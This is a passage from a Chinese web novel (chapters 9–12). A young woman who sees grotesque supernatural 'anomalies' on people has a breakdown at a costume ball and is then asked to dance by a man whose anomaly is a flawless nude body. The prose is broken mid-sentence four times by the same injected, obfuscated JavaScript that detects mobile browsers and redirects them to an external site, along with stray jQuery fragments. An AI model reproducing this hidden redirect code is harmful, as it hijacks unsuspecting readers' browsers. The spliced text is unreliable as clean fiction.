她在万圣节的时候去过一次游乐园,小学时跟着学校去的。里面有很多画着奇怪妆容的人,她被这些人吓得够呛,带队的老师也被她吓得够呛。
在日常生活中,她尽量避免接近有异象的人,她害怕异象。幸好这些有异象的人不会成群结队地出现,偶尔在人群中有一个,她远远看到,提前避开就行。
但在某些场合,她无法避开有异象的人——比如游乐园和鬼屋。这些地方会出现很多打扮奇怪的人,她无法分辨其中哪些人有异象,哪些人只是特效化妆。
所以她从来不去这种场所。
要是知道这个变装舞会是这样的场所,她根本就不会进来。
但就算是这样的场所,装扮成这样也太夸张了吧?
她看着一个僵尸装扮的男生从不远处经过,把挂在腰间的塑料肠子拿出来挥舞,追打着前面剥皮魔装扮的同伴。
刚好几个打扮成巫女的女生经过食物区,从这几人的谈话中,李明眸得知了一些信息:
原来这个变装晚会,有一个“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396221|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最华丽妆容奖”的环节。
在场的人中,妆容最出彩的人将会获得这个奖项,然后在舞蹈环节开始时,获奖者有一个特权:
ta可以邀请在场的任意一个人跳舞,对方不能拒绝。
李明眸偷听到这里,又生出了另外的困惑:
这个奖项看起来没什么意义。因为想邀请谁跳舞,不是直接邀请就行了吗?
在场的人中,应该有很多海大艺术学院的人,几个巫女聊起来:
“骆绎声不能拒绝耶,你说我们到时候要邀请他跳探戈吗?”
“伦巴好一点,有更多贴身动作,哈哈。”
“据说协办舞会的师姐往年一直邀请骆师兄跳舞,他一次都没答应,今年才有了这个奖项。”
“哦,他肯定要被师姐逼着跳伦巴了。”
“我感觉恰恰的贴身动作比较多。”
“好多女生打扮得好漂亮,你看到许由美的猫妖娘了吗……”
……
李明眸环视一周,发现除了猫妖娘,果然还有好些女生也打扮得怪异又性感,像是血腥护士、水手服女高中生之类的。相比之下,男生就随便多了,大部分是耷拉着肠子的丧尸和剥皮魔。
又是骆绎声啊……她感觉有些无语。
为什么这个人总是跟求偶话题联系在一起?他的成绩绩点是多少?
她回想起来,沈思过刚刚离开的时候,说会让骆绎声来照看她。这应该不会耽误他求偶吧?还是说这是场面话?
她希望骆绎声不要来。
她躲在角落暗中思考的时候,几个巫女准备离开,其中一个穿着蜘蛛图案裙子的巫女朝她这边看过来。
她吓了一跳,有些心虚:这是偷听被人发现了吗?
结果蜘蛛巫女把刚刚拿的不要的蛋糕放她盘子上了:“这个我不想吃了,不知道怎么处理,也不能放回去……”
李明眸低头看着自己的盘子:“……”
对方又说:“能不能给我一只白色的蛋糕啊?”
李明眸沉默着,看她两只手都拿着东西,就顺手给她夹了一只。
等这个巫女离开后,李明眸看着她的背影,发现她的装扮跟其他四个巫女都不一样。后背有蜘蛛丝状的裂纹。
难道是异象?
她拿出手机,打开摄像头照了一下,发现确实是装扮,不是异象,于是松了一口气——对方刚刚差点就碰到她了。
照完这个巫女后,她又顺手照了一下每个经过她身边的人,看看对方是打扮得很奇怪,还是身上有异象。
这么观察了十多个人,她发现全都是变装,没有人有异象。
她渐渐放松下来:果然是我敏感了,这世上没那么多怪人!
就在她松口气的时候,几个男生经过她身边,小声谈论她:
“凡是有人从她身边经过,她都要给人家拍照,这女的是不是很想有人邀请她跳舞?”
“那是服务生吧,不能跳舞。”
“不是啦,衣服图案不一样。是故意穿成这样的吧?”
“可能这样比较清新脱俗,更能引起某些人的注意,你看你不就留意到了吗?”
“别这样说人家,很没礼貌……”虽然说了这样没礼貌,但随后这人又笑了出来。
笑声渐渐变小,似乎是有人提醒了他。
这些人越走越远,笑声和私语声也渐渐听不到了。
李明眸默默地收起了手机。
9. 格格不入2
自己的行为在其他人眼中,应该很异常吧,就像其他人在她眼中也很异常一样。
她连碰到不想碰到别人,所以能理解,其他人应该也不想接近她。
李明眸不准备再拍别人,但收起手机后,时不时有打扮奇怪的人经过她身边,来这里取食物。
明知道这些人身上的异常大概率是装扮,但她还是控制不住地紧张。
她很想拿出手机来拍照确认,又担心再冒犯到别人。
被几个经过的人吓到后,她环视一圈,想找一个完全没人的地方——她以为舞会没有这样的地方,但还真让她找到一个。
舞池的边缘有张长桌,上面摆了些食物。但跟食物区别的地方不一样,那里竟然一个人也没有。
她沿着舞池边缘,后背贴着墙壁,慢吞吞地挪过去,避免碰到别人。
到了这个人最少的地方,她远远闻到一股臭味,终于明白了这个地方没人来的原因:这里是放榴莲的地方。
长桌上全都是剥好的榴莲肉。
为什么在这种看着时髦的地方,会有这么多榴莲……
李明眸默默捂住鼻子,想着要么去别的地方算了。可是环视一下别的地方——到处都有怪人。
她又默默地放下了捂住鼻子的手,一个想法冒了出来:
要么回家吧?
这个想法涌起的瞬间,她有一种解脱的感觉:对,自己为什么要呆在不舒服的地方?
她高兴地拿出手机,准备跟沈思过说,自己参观完了,准备走了。
结果刚打开沈思过的对话框,就看到沈思过在半小时给她发了信息:【等我一小时。】
她看着手机屏幕,那股隐秘的喜悦消失,她耷拉着耳朵,沮丧得像一条小狗。
好吧,来都来了,确实是要聊一聊。走前她要郑重地告诉沈思过:自己绝对不会加入剧团的。
是的,她说过会郑重考虑,现在她已经郑重考虑完了。
结论就是她不想加入。
她盯着手机顶栏的时间显示:还有半小时。就等半小时吧,把事情说清楚,然后就可以回家了。
就在她待在滂臭的角落无事可做的时候,舞池里又响起了那首她在陌生广场听到的船难歌:
船板晃着最后一下 浪正咬着船尾
你扯我衣袖时海风正掀我裙尾
别管舱里摇晃的钟别捡掉落的酒杯
现在就跑——你看那根缆绳正被浪咬断结尾
去远方吧管它是哪片海的脊背
是星光落满的滩还是刚醒的芦苇
反正船要沉成泡沫前我们先踩着浪飞
去远方吧哪怕方向是风随便指的方位
……
……
……
她最近去哪都能听到这首歌,这似乎是一部即将上映的电影的主题曲。
她正烦躁间,不远处传来一阵哄闹声,她看向那里——原来这是DJ给猫妖娘点的歌,她正跟着歌声,在舞池里跟DJ遥遥互动。
李明眸刚刚已经照过猫妖娘了,知道她身上的装扮不是异象。于是她静下心来,在歌声中认真审视这个女生:
明明是一首晦气的歌,但猫妖娘笑起来特别自信开朗,像太阳一样,去到哪里都是众人的视线中心。
几个男生跟在她后面,努力跟上她的节奏;女生们也喜欢她,经过她身边的时候,会揪住她脸颊打趣几句。
猫妖娘被揪住脸颊也不生气,只是大笑,然后跑走。
李明眸看到她大笑跑远的样子,心里突然冒出一句话:真可爱。
真漂亮,真可爱,是跟我完全不同的人。
没有人会讨厌这种人。
刚刚那几个男生谈论的,会让人想要邀请她跳舞的女生,应该就是猫妖娘这样的人吧。
她在心里平静地说出这番话,然后毫无预兆地,那座高塔的画面突然浮现在她脑海中。
那座塔高高耸立着,在甲板投下巨大阴影,不知道塔上有什么,阴影里又有什么。
那股难以名状的焦躁不安,它又出现了。
李
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396222|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明眸感到莫名的压抑和恐惧,胃里微微翻腾,想快点离开这里。
她默念着待会拒绝沈思过的说辞,看着眼前长桌上的榴莲,拿了一块吃起来,想要压下那股翻腾感。
几口下去后,那股翻腾感默默消失,李明眸的脑海缓缓浮出一个问号:……?
竟然还挺好吃的。
跟她以前吃过的榴莲品种,似乎不太一样。
怪不得如此滂臭,还有资格出现在这么时髦的地方。
果然每种食物都有自己的优势。
在那首晦气的背景乐中,在猫妖娘和其他人互动的喧闹声中,李明眸从长桌的这头吃到了那头,忘记了烦恼,也忘记了节制。
然后她把桌上的榴莲全部吃光了。
嗯,每个人也都有自己的战场。
留下一张空荡荡的长桌后,李明眸肚子有点痛,鼻子也热热的……
但还想继续吃。
她看着桌子底下没开的榴莲。
这时空无一人的榴莲区,响起了一把女声:“喂,你开下榴莲。”
她看向声音来源,看到一个穿着弗兰肯T恤的女服务生,她正一脸疲惫地往地上搬榴莲。
女服务生很累的样子,一边工作,一边吩咐她,也没有抬头看她。
大概把她当成同事了……她倒是不介意帮忙开一下。
她为难地看向那些榴莲:可是她也不会开啊?
服务生做完手头上的事,回过头来看李明眸,发现她还站在原地,脸色变得不太好:
“这点事情都做不到吗?刚刚我们在收拾碗碟,你就躲在隔壁偷懒,还跑到这边来吃东西!
“吃东西就算了,你还吃完了不开,让你开一下,你也不做,是等着我们做吗?
“我们外包的就好欺负吗!”
对方说着说着,语气越来越激动,还带了点哭腔。
周围有人开始往这边看。
李明眸被人当了一晚上的服务生,直到这会,在众人隐含责备的打量下,她终于真正尴尬起来。
10. 闯祸了
女服务生一脸疲惫,语气崩溃,看向这里的人越来越多。
李明眸想说自己不是服务生,又怕那个女生尴尬。
此时一个蓝色头发的男生走了过来,他先是帮她们开了榴莲,说是自己不好,他是给舞会准备食物的人,不应该准备这种食物。
然后才转头跟女服务生说:“她不是服务员,只是衣服有点像。”
女服务生涨红着脸。
李明眸想说没关系,但没机会说出来。不远处传来女服务生的同事的催促,语气不太好地叫她回去帮忙,她便逃也似的跑了。
蓝头发男生看着女服务生走远后,才回过头来安慰李明眸:“抱歉,你不要介意,他们的工作有点重……”
他说着话,朝李明眸递出了一盘刚刚剥开的榴莲——是他刚刚开的,看到李明眸爱吃,他特意给她留了最好的一份。
但李明眸不想接:因为对方的装扮。
蓝发男生也画了人体彩绘,但跟猫妖娘的漂亮装扮不同,他的装扮看着有点脏。
他的皮肤消失了,筋肉和血管裸露在外,红色的彩绘颜料还没干,从他的身上一点一点滴下去,把他的肌肉和黏膜组织粘连在一起。
他把自己画成了一个没有皮肤的人,跟外界没有屏障,任意黏连。
重点是,他身上没干的颜料滴在了榴莲上——他给离明眸的那盘榴莲,盘子的边缘沾上了红色颜料,红色的颜料跟黄色的榴莲肉溶在一块,看上去脏脏的,已经不能吃了。
李明眸沉默一会,看对方没有收回手的想法,于是默默接过。
但因为怕脏——她总觉得那个颜料看上去脏脏的,让人不想碰到——所以她没有碰到盘子,而是用手指虚虚捏住盘子边缘。
“谢谢……但我看你身上彩绘颜料没干,沾到了……”
蓝发男生困惑地问她:“什么彩绘颜料?”
听到这个问题,李明眸身体慢慢僵住。
她想:她不该收起手机的,就算会冒犯到别人,被人议论,她也该用摄像头确认所有经过自己身边的人,不能松懈。
因为她看到自己接过的盘子,上面的颜料,它在蠕动……
她的手开始发抖,连带着她捧着的这个盘子,也开始跟着发抖。
她一直低头看着这个盘子,死死盯住,没敢抬头看面前的人。
“你怎么了?”
面前的人发出温柔问话,仿佛怕她发抖的手端不稳盘子,他的手掌心轻轻托住她的手背。
李明眸被碰到的那只手猛地挥了出去。
那只掌心托上来的时候,蠕动的筋肉逆着重力而上,蠕到了她的手背上。
那种厚重的、黏糊糊的、腥臭的触感,就像是被某种鼻涕虫裹住了一样。
所以在被碰到的瞬间、在即将要被裹紧之前,她的手猛地挥了出去。
她的动作太大,以至于蓝发男生不但没有托住这个盘子,反而还被她甩得手腕跟着挥了出去。
那个盘子也朝旁边飞去,撞在墙壁上,
“哐当——咔嚓”,
白色的瓷片碎成很多瓣,碎片从墙上飞溅回来,在蓝发男生的手臂上划出一道血口。
但李明眸也不确定,到底是不是真的划出了一道血口。
她紧紧盯着那只被碎片划过的手臂,看着对方裸露的筋肉和血管纠缠在一起,看不出来哪里有伤口,哪里没有。
但想来蓝发男生确实是受伤了。
因为看向这里的人越来越多,众人的私语声也大了起来。
李明眸被众人盯着,感觉自己后背仿佛有一丛毛发,正在一根一根地竖起来。
人群中有一个女生听到这边的声响,朝这里走来。
那个女生也染着蓝色的头发,她立刻托住蓝发男生的手,检查了一下那只血肉纠缠的手臂。
她先瞪了蓝发男生一眼,然后才愤怒地问李明眸:“你有病啊?!”
问完这句话,她又转过头去质问蓝发男生:“你干嘛邀请这种人跳舞?”
刚刚蓝发男生托着李明眸的手的动作,放在舞池里,是一个邀舞的动作。
蓝发男生嗫嚅道:“我没有想邀请她跳舞……”
对于不明白刚刚情景的人来说,现在仿佛是这样的一个情况:
这个奇怪的女生不知道为什么突然很过敏,以为别人要邀请她跳舞,所以猛地甩开了别人。
这个人还是刚刚帮她解了围的人。
看向这边的人开始窃窃私语:
“她真以为人家要邀请她跳舞啊?”
“她不是服务生吧,干嘛穿成那样?”
“她刚刚把榴莲吃完了,有个服务生以为她是同事,就骂了她,吕小路给她解围。”
“刚不是想邀请她跳舞啦,是怕她盘子没拿稳。”
“那她干嘛这样……”
那些嗡嗡声围绕在李明眸耳朵边,没有产生任何的意义和作用。
她没有在听。
她的目光一直盯着旁边的落地窗,一眼都没有朝人群看,也没有朝蓝发男生和蓝发女生身上看。
她在窗户的倒影上,看到了非常普通的一男一女。
倒影里的蓝发男生没有彩绘,也没有装扮,他就穿着一套稍显精致的正装——就跟李明眸原来想象的学院变装舞会的装扮一样。
蓝发女生也一样,她没有作任何装扮,甚至连正装裙子都没穿。
倒影中的一男一女如此普通,但李明眸脑海中还凿刻着刚刚看到的画面:
蓝发女生的□□不断流出黑色的水,这些腐臭的水慢慢在她的脚下积成了一个水洼。
当她走到蓝发男生隔壁时,蓝发男生的血液和筋肉就像会流动一样,从自己的骨架流了出去,蠕到了蓝发女生的身上,跟她粘连在一起。
两个人融在了一块,就像连体婴一样。
李明眸盯着落地窗上的倒影,微微发着抖,不敢看向那两个人,害怕重新看到那个画面。
蓝发女生站在她面前等了一会,仿佛在等她道歉。但发现李明眸看也不看两人,只是一直盯着窗户发抖,她“啧”了一声:“真tm晦气!”
然后她就那么拉发蓝发男生走了,走之前留下这么一句话:“看来是真的有病!”
那句话从周围那些没有意义的嗡嗡声中脱颖而出,凿进了李明眸的脑海:看来她是真的有病。
周围人的嗡嗡声变得如有实质,在她的脑海中萦绕,仿佛是某种白噪音。
那种噪音,像是装修电钻的声音,又像是金属刮在玻璃上。
然后在那些噪音中,有一句话响起,隐隐约约,重重叠叠,听不清楚。
重复了很多遍后,李明眸终于听清了那句话的内容,是赵医生问她的话:
“你真的这么认为吗?”
最后一次做心理咨询的时候,她对赵医生说,自己的生活状态很好,不需要改善。然后赵医
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396223|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生问她:
“你真的这么认为吗?认为现在的生活很好,没有任何阴影。”
这句话在李明眸脑海不断回响。她汗湿的后背紧紧贴着墙壁,感觉周围人的声音忽大忽小,眼前的场景也渐渐逼仄起来。
天花板在朝她坠落,四周的墙向她挤来,众人的声音变成海水,将她淹没。
现在她再看面前的每个人,都觉得他们身上像是有异象,包括之前她用镜子确认过的“正常人”。
就在她感觉自己的神智快要涣散,小学去游乐园把老师吓到的场景即将要重现后,
突然间,场内响起浮夸的声音,引走了所有人的注意:
“现在我们来颁发这一届的‘最华丽妆容奖’,
“噔噔噔噔,获奖者是——
“骆绎声师兄!”
众人的视线从李明眸身上移开,压在她身上的重量也随之变轻,她感到一种如有实质的放松,就像是刚刚从海底浮出水面。
她开始大声喘气。
所有人的注意力瞬间被舞台吸引而去,没有人再留意李明眸。众人像沸腾般开始议论:
“啊?!!”
“骆绎声不是奖品吗,他为什么会获奖?”
“怎么不是猫妖娘……”
“哈哈哈哈奖品是什么鬼!”
“骆师兄今天的装扮值得啦。”
“师兄穿的什么?”
“你们别挤我,让我看看啥装扮!”
……
……
……
李明眸站在舞池边缘,看不到舞台中央的盛况,也看不到骆绎声本人,只听到好多人在大声叫喊。
刚刚还聚集在她周围看戏的人,陆陆续续丢下她,朝舞池中央涌去,说要看看他获奖的装扮。
没人再关注她了。
天花板回到高处,墙壁停止挤压,她松了一口气,重新呼吸。
她的头脑变得空荡荡的,不再有任何声音,刚刚那些噪音——包括赵医生的那句问话——全部都消失了。
她冷静下来,感觉虚弱,发现自己刚刚出了一身冷汗,身上凉凉的。
恍惚间,她听到大家在催促骆绎声快点邀请舞伴,用上那个“最华丽妆容奖”的奖励。她听到一把男声,低沉婉转,带着一点笑意:
“我有要邀请的舞伴,只是我还没找到她。”
女生们议论纷纷:谁是那个舞伴?
李明眸不关心骆绎声,也不关心他要邀请的舞伴。
重新冷静下来后,在一种虚弱感的驱使下,她脑海中涌起一个强烈的想法:
我要走,我现在就要走,不需要任何人的同意。
在这个想法的驱使下,趁着众人围到骆绎声身边时,她在喧嚣中转身,穿过舞池,朝宴会厅大门走去。
她现在就要离开。
但刚踏入舞池,她就被涌来的人潮挤得踉跄了一下。身边的人摩肩接踵,甚至没有给她留下挪动双腿的空间。
她刚经历了一场虚脱,现在被这些装扮怪异的人挤到,竟然一点都不知道害怕,只觉得麻木。
她努力拔脚想要往外面走,却把一只鞋子弄丢了——有人踩住了她的鞋子。
她的左脚空荡荡地悬在地上,上面套着一只小熊袜子。
她麻木地回头,转身弯腰,想在别人脚下拽回自己的鞋子,却撞到了一个赤裸的胸膛上。
她撞到了一个意想不到的人。
11. 惊现裸.男
李明眸捂着发疼的鼻子,低着头找鞋,听到那个被撞到的人笑着跟她打招呼:“你好,李明眸。”
那把男声低沉婉转:“终于找到你了,你愿意跟我跳舞吗?”
这句话落下后,人群顿时安静了一会,交谈的声音停下了,跳舞的人也顿住了,只余下交谊曲的背景音乐在舞池里萦绕。
在突如其来的寂静中,李明眸抬头看向来者——然后看到了一个赤身裸.体的男人。
她脸色瞬间涨红,猛地后退,结果左脚踩空,身体往后倒去。
在她差点摔倒的时候,骆绎声拉了一下她,搂住她的后腰,帮她站直。
发现她抗拒的动作后,他很快放开手,并礼貌地跟她保持一定距离。
等她站稳了,他才微笑着自我介绍:“我叫骆绎声,我可以邀请你跳舞吗?”
站在李明眸面前的,就是获得了“最华丽妆容奖”的骆绎声。
但是这个获得“最华丽妆容奖”的男人,他根本就没有装扮。他从上到下、从里到外,到处都是干干净净的,也没做人体彩绘。
他没有穿一件衣服,就这么在人群中赤身裸.体着。
在这个变装舞会上,打扮得或仙气或性感的男男女女很多,每一个都足够让人惊艳,就像一个大型的服装秀。
但在这个服装秀获得最终冠军的人,却是一个没有穿衣服的男人。
这怎么看都不合理,因为你不能评价一个赤身裸.体者的衣着。
但是当这个冠军落到眼前这个人身上时,却荒谬地合乎情理——因为这具皮囊就是一个人能获得的最完美的衣着。
但无论一个人长得多好看,都不应该恃美行凶,在公众场合赤身裸.体。
虽然猫妖娘也没穿衣服,人家起码还画了人体彩绘,关键部位也有精致的饰品遮盖。这个骆绎声算怎么回事?戏剧学院的风气都是这样的吗?
李明眸连眼角余光都不敢放到骆绎声身上。她巡视四周,想找一个人求助:总得有保安或者师长管管不穿衣服的人吧!
但环顾一周后,她的心渐渐凉了下来——周围人的表情太正常了。
她不认为在骆绎声的裸.体面前,众人受到的冲击会比她小。但是大家的表情很正常,大部分人甚至没有在看骆绎声,他们在看的人是李明眸。
慢慢地,李明眸把头转了回去。
她的目光艰难地落在眼前的裸.体上,心中微微悚然——所以这竟然是异象吗?
不怪她刚刚没往这方向想,因为她很少见过这样的异象。
她见过的所有异象,她画册里的433幅诡异的画,全部都跟可怖的伤口有关,是血淋淋的、痛苦的、令人不适的。就连赵童童的湮灭异象,它周围的空气也都是腥臭腐烂的。
骆绎声的异象却完全不同。没有血,没有伤口,也没有腐烂的气味。它是一件完美无暇的艺术品——一幅没有伤痕的美丽裸.体。
这象征着什么?一个美丽的秘密?
反应过来后,李明眸有些惊恐。并且比起惊恐,她更多感觉到尴尬和羞臊——眼前的异象并不可怖,但却是一个成年男子的裸体。
她甚至没怎么跟男生说过话。
回想起刚刚在蓝发男生面前的进退失当,她忍住了后退和尖叫的冲动,不敢做任何动作,怕显得奇怪,只是僵立在原地。
骆绎声静静站在李明眸面前,一直在等她回应,没有任何催促。
旁观的人却没有他耐心。
有人开始抱怨:“这女生搞什么啦?”
众人重新留意到李明眸,回想起刚刚的事,小声议论:
“她不就是刚刚吼吕小路的人吗?”
“小路受伤了。”
“哦,那个一直拍别人的女生,我就说她看起来很奇怪。”
“她不是想别人邀请她跳舞吗,干嘛还不答应?”
“想享受多一会被师兄邀请的感觉吧。”
“她吃了好多榴莲,身上该不会有味吧?”
“骆师兄为什么会邀请这样的人跳舞?”
……
……
……
李明眸感觉自己脸上像是有火在烧,心跳得也很快。她想把T恤背后的兜帽戴起来,遮住自己的脸,不让任何人看见她。但她的身体僵住了,一动也不能动。
刚刚吃下的榴莲在胃里翻腾,像是有什么东西要从胃里呕出来。
骆绎声察觉到她的不对劲,上前半步,微微侧身,挡住了众人看向她的视线。
他看着众人,表情是微笑的,声音却有些冷淡:
“我想邀请她,并且我希望她有充分考虑的时间,可以吗?”
他注视周围,直到众人露出讪笑、窃窃私语声完全消失为止,才收回视线,重新把目光放回李明眸脸上。
他看着她的眼睛,语气温和又认真:
“如果你不喜欢,可以拒绝我的邀请。”
李明眸竭力不去看骆绎声,但现在他离自己只有半臂距离,她一下子就看到了他赤裸的上半身。
她恍惚中听他说了一些话,但因为冲击太大,她一句都没反应过来,她就愣愣地盯着他的胸膛。
她突然理解了拉横幅的系花,和送玫瑰的白富美,以及海大论坛上那些疯狂的女生们。
原来这世上真有被上帝吻过的皮囊。
骆绎声的皮肤非常白皙,像是某种透明洁白的瓷器,在宴会灯光照射下,晕出一层朦胧的柔光。伴随着每一个微小的动作,肌肉线条随之起伏流动,线条下潜藏的野性生命力也若隐若现。
她发现自己对骆绎声有一些错误的判断。因为以前老听到他的绯闻,她一直觉得骆绎声是一只开屏孔雀,时刻想着在女生面前展示,才会勾搭来那么多狂蜂浪蝶。
但她发现,实情也可能不是她想的这样。对着如此好看的人,哪怕他什么都不做,旁人也会自己多想。
作为一个没怎么跟异性说过话的人,李明眸此刻看着眼前这副赤.裸躯体,突然感觉有些烦躁。
她的心跳声像密集的鼓点,呼吸也变得燥热,热流一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396224|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阵一阵地冲刷她的脸庞。她的身体紧绷着,还有一种眩晕的缺氧感。
她不知道自己怎么了。
她经历着的情绪,不是她以前经历过的任何一种。
它非常陌生,让她感觉危险和恐慌。
李明眸犹豫迷茫间,不知道自己应该做出什么答复。
旁观的人在骆绎声这里碰了个软钉子,没人再催促她,有人却等不住了。
一把爽朗的女声响了起来:
“师兄,人家不想跟你跳舞,你就别等了,跟我跳吧!”
是猫妖娘在说话。
猫妖娘一直站在围观的人里面,她整晚跟着骆绎声,把这场戏从头到尾看完了。看到李明眸磨磨唧唧的,她终于忍不住站了出来,期待地看着骆绎声。
“我今天可是为了你才打扮成这样的,你愿意跟我一起跳舞吗?”
今天晚上,这个猫妖娘是全场最艳丽的女人。随着她的声音落下,所有人的目光都落到了她身上。
她昂起头直视骆绎声的眼睛,目光既不回避,也不退缩。
比起李明眸,这个坦荡又耀眼的人显然跟骆绎声更般配。围观的人直接无视了李明眸,对着猫妖娘和骆绎声起哄:“一起!一起!一起!”
猫妖娘把手放在自己的身上,从自己的下巴划到腰际,作了一个扭腰的舞步。她对着骆绎声舒展身体,笑容明朗地说:
“我们来跳伦巴吧,师兄愿意为了我把外套脱掉吗?”
人群中有人在尖叫,有女生大喊:“求脱!想看!”
骆绎声微笑拒绝:“这是设计学院的同学让我穿着展示的。”
刚刚喊“求脱”的女生失望地发出嘘声:“起码把锁骨露出来嘛!”
骆绎声转过头去,表情无奈地看着喊话的人。
猫妖娘出现后,现场的气氛热烈起来。
刚才骆绎声向李明眸邀舞的时候,大家的反应都比较冷淡,似乎他们很不登对,不应该出现在一起跳舞。猫妖娘出现后,气氛才重新热闹起来。
在这种热烈的气氛中,李明眸的头脑和心,也重新冷静下来:没错,骆绎声应该跟这样的女生一起跳舞,会比我更合适,画面也更好看。
跟我一起跳,会是怎样的画面呢……
她再次看向不远处的落地玻璃窗,在窗户的倒影里,审视自己的样子:
她的头发是自然卷的,显得有些蓬乱;眼睛算是大的,但大多时间都看着地板;她还总是微微弓着背。
总是,是一个平淡的、有点阴沉的形象,有时举止还很怪诞,怪不得别人会那么谈论她。
她应该立刻拒绝骆绎声的邀请,然后离开,把舞台让给更耀眼、更般配的人。
她觉得自己这个认知十分理性,也符合现实——毕竟她本来就准备离开。
可不知道怎么的,当她的视线再次落向人群中那个耀眼又美好的女生时,她的心情却有些低落。
刚刚的热潮来了片刻,又悄无声息地消失了,只在原来的所在地,留下一个隐约的空洞。
12. 与裸男共舞1
就在李明眸看着许由美缠住骆绎声,觉得自己可以转身离开时,主持人打断了这场交流。
背景乐被调到最低,主持人的声音环绕在舞池内:
“最华丽妆容奖的邀舞不能拒绝的哦,这是规定。”
意思是不能商量,李明眸必须答应骆绎声的邀舞。
人群的目光陆续回到李明眸身上,她刚准备转身的动作顿住了。
她想说,自己只是应沈思过的邀约,上船来看一下的,不能算是变装舞会的正式参与者,这条规则会不会对她不适用?
可没等她问出来,猫妖娘就发话了。她看向李明眸,有些恼怒地“哼”了一声:“那我先不打扰小姐姐。不过等你们跳完了,我还能跟师兄跳舞吗?”
她的脸太漂亮了,李明眸看着她的脸,语无伦次起来:“这、这不是我能决定的……我很快会走。”
猫妖娘觉得自己得到了满意答复,高兴地上前两步,搂住李明眸,亲了她的脸颊一口,“吧唧”一下,好大声。
然后她晃着那捧毛茸茸的大尾巴,往舞台边缘走去,给李明眸和骆绎声留下相处空间。
李明眸捧着自己被亲过的脸,愣愣看着猫妖娘的背影。
她的心跳得好快。
猫妖娘走后,众人没了起哄的兴致,只是静静地看着骆绎声和李明眸。
这气氛,仿佛尘埃已经落定:既然猫妖娘走了,主持人也出来发话了,那现在李明眸就必须答应骆绎声的邀舞了。
李明眸直直站在原地,有些为难和胆怯,不敢看骆绎声的方向。
她刚刚已经决定过了,她应该要拒绝的……而且她没有信心跟裸男跳舞……
再说了,她也不会跳舞啊……
旁观者的耐心渐渐告罄,嗡嗡声再次响了起来,人们的语气比之前还要不耐烦。
就在李明眸开始害怕的时候,骆绎声上前半步,朝她的脸颊伸出双手。
在她愣住的几秒钟里,那双手拂过她的耳朵边,从她的后颈掏出她外套的兜帽,还帮她理了理头发,才帮她把兜帽带上。
兜帽是羊羔绒的,厚实沉重,又很宽大。在被兜帽盖住的瞬间,众人看向她的视线消失了,那些议论的话也被厚实的绒毛过滤掉,只剩下一些影影绰绰的呓语。
骆绎声一边给她戴帽子,一边说:“你别理他们,看着我就好。”
李明眸茫然地看着骆绎声。
他低沉的声线萦绕在她耳朵边,从她的头发拂过,轻轻抚向她的后颈:
“你是不是不好意思拒绝?拒绝也没关系的。我带你跳到门口,你可以从那里偷偷溜掉。”
带上兜帽后,她看不到两边环境,只看得到面前的骆绎声了。
她的耳朵有一点麻,脸又红了起来,说话结结巴巴的:“不、不是,我不会跳舞。”
“如果是这个原因的话,没有关系,我会跳就可以。”他语气很郑重地问她,“你想跳吗?想还是不想?”
李明眸觉得自己应该回答“我不应该跳”,或者“我不会跳”。但骆绎声问的,不是“应不应该”和“会不会”,而是“想不想”。
她看着眼前人的眼睛,感觉到一股少有的冲动:对方正在很认真地看她,郑重询问她的答案。
在冲动的驱使下,她说:“我想跳……”
话刚说出口,她又觉得自己不应该这么说,于是声音渐渐弱了下去,也不敢再看对方的眼睛。
虽然不敢看着骆绎声的眼睛说完,但她还是坚持把这句话说完了。
看到她这个反应,骆绎声笑了笑,那个笑容特别灿烂,不像之前清淡,仿佛他真的为李明眸能说完这句话感到开心似的。
*** ***
得到肯定答案后,骆绎声没有立刻带她到舞池里。他轻轻拉着李明眸的手,让她往旁边移动了几步。
就在李明眸疑惑不解的时候,只见他弯下腰,在李明眸待过的地方附近找了找,然后在某个粗心鬼脚下拽出了一只被踩住的帆布鞋。
李明眸:“!”那是她刚弄丢的鞋子。
